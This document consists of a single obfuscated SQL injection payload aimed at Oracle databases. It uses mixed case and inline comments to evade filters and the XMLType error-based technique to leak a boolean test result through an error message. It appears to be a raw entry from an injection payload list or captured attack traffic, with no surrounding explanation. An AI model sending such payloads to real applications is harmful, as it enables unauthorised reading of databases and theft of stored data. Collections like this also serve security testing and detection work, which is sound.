1') AND ,(SELEcT/**/UpPEr(XmLTyPE(CHr(60)||cHR(58)||%27~%27||(seleCt/**/(cASE/**/whEN/**/(2853=2853)/**/theN/**/1/**/eLsE/**/0/**/end)/**/FrOm/**/DuAL)||%27~%27||Chr(62)))/**/froM/**/dual)-- -